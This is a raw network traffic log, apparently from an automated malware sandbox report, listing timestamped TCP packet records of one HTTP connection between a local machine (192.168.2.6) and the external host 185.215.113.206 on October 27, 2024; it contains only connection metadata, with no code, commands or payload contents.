Oct 27, 2024 00:31:17.919511080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919528961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919554949 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919563055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919595957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919619083 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919631958 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919637918 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919661999 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919670105 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919699907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919713974 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919764996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919787884 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919800043 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919806004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919835091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919842958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919883013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919886112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919922113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.919938087 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919965982 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.919970989 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920005083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920042992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920049906 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920078993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920087099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920113087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920128107 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920159101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920166969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920209885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920217991 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920250893 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920264959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920286894 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920300961 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920321941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920334101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920356035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920358896 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920391083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920423985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920430899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920468092 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920481920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920515060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920525074 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920550108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920555115 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920583963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920592070 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920618057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920624971 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920653105 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920664072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920689106 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920701027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920722961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920758009 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920772076 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920793056 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920805931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920826912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920840025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920861006 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920874119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920897007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920909882 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920931101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920939922 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.920965910 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.920978069 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921001911 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921036959 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921044111 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921081066 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921132088 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921168089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921202898 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921214104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921237946 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921245098 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921273947 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921281099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921303988 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921319008 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921339035 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921365023 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921371937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921386957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921406031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921439886 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921441078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921453953 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921514034 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921658993 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921691895 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921720028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921726942 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921742916 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921761036 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921802044 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921814919 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921837091 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921845913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921873093 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921886921 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921906948 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921914101 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921941996 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921947956 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.921976089 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.921982050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922014952 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922029972 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922063112 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922070026 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922096014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922102928 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922126055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922141075 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922177076 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922183037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922215939 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922249079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922264099 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922282934 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922297955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922316074 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922332048 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922349930 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922362089 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922384024 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922398090 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922419071 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922430038 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922451973 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922454119 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922488928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922497988 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922525883 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922534943 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922607899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922666073 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922698975 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922717094 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922733068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922744036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922768116 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922780037 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922802925 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922818899 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922838926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922862053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922874928 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922882080 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922909021 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922923088 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922945976 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922962904 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.922977924 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.922983885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923012018 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923021078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923047066 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923054934 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923082113 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923089027 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923116922 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923161983 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923254967 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923288107 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923304081 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923327923 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923341990 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923376083 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923408985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923439980 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923448086 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923472881 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923507929 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923517942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923542023 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923554897 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923577070 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923599958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923610926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923618078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923650980 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923686028 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923717976 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923721075 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923736095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923770905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923816919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923850060 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923882961 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923897028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923917055 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923949957 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923965931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.923984051 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.923990011 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924019098 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924027920 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924052954 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924086094 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924098969 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924119949 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924134970 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924155951 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924175978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924191952 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924199104 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924237013 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924370050 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924417973 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924418926 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924453020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924465895 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924488068 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924520969 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924535036 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924554110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924562931 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924588919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924597025 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924623966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924632072 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924659014 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924664974 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924691916 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924700975 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924726963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924736977 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924762011 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924782991 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924797058 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924812078 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924830914 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924865007 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924880028 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924899101 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924912930 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924935102 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924952984 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.924962997 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.924977064 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.925005913 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.976835966 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.976890087 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.976924896 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.976931095 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.976967096 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.976977110 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.977001905 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.977011919 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.977027893 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.977047920 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.977066994 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.977082968 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.977098942 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.977116108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:17.977138042 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:17.977180004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034347057 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034413099 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034442902 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034449100 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034478903 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034503937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034503937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034555912 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034558058 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034607887 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034610987 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034645081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034662962 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034678936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034694910 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034713984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034729958 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034750938 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034764051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034785986 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034801006 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034822941 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.034836054 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.034872055 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035262108 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035295963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035326004 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035341978 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035351992 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035382032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035402060 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035432100 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035435915 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035470963 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035486937 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035518885 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035521984 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035557985 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035572052 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035592079 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035608053 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035626888 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035640955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035661936 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035675049 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035697937 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035711050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035732031 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035747051 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035768032 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035780907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035803080 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035815001 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035839081 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035851955 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035875082 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035887957 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035912037 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035922050 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035948038 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.035959959 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.035991907 CEST	49709	80	192.168.2.6	185.215.113.206
Oct 27, 2024 00:31:18.036005020 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036039114 CEST	80	49709	185.215.113.206	192.168.2.6
Oct 27, 2024 00:31:18.036055088 CEST	49709	80	192.168.2.6	185.215.113.206
